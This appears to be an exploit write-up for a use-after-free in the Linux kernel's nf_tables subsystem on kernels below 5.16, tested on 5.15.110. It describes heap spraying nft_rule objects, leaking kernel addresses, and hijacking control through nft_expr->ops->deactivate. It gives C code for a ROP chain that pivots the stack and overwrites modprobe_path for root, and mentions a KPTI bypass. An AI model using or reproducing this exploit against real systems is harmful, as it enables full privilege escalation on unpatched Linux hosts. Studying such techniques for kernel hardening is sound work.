
Since the lower version (<5.16) kernel lacks the patch, it is impossible to use the consumed field of the nft_quota structure to write and read memory addresses. Consider using ROP for privilege escalation. The Google exploit used the NFT_MSG_DELRULE+NFT_MSG_DELSET method to trigger UAF, but in actual testing, the script directly crashed in nf_table_commit->list_del_rcu.
This exploit has been tested on version v5.15.110
Combining the two exploits, spray the nft_rule structure, leak the kernel stack address through list_head, leak the kernel address through nft_expr->ops, and hijack the control flow through nft_expr->ops->deactivate.
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]
expr = nft_expr_next(expr);
}
}
For convenience of privilege escalation, directly reuse the method of exp1 based on modprobe_path, and construct the ROP as follows.
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
data[0] = kbase + POP_5REG_RET; // skip metadata
data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
// /tmp/mod - sbin/mod
// 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
data[6] = kbase + POP_RAX_RET;
data[7] = kbase + cfg_modprobe_path+1; // [rax]
data[8] = kbase + POP_RDI_RET;
data[9] = 0x20411bc; // rdi
data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
First, the kernel executes to data[5], where rax holds the address of the beginning of the block (&data[0]). Use push rax; pop rsp; ret; to complete stack migration, which inevitably causes stack corruption (subsequently cannot return to user mode normally. If you need to escalate privileges to user mode, you can construct a larger block (>0x80) referring to make_payload_rop2 in the exploit, use swapgs_restore_regs_and_return_to_usermode to bypass kpti and return to user mode).
Since the fake nft_rule has 0x18 bytes of metadata (mainly 8 bytes at offset 0x10), you need to use pop to skip these addresses. After that, you can freely play, using some short gadgets to modify modprobe_path.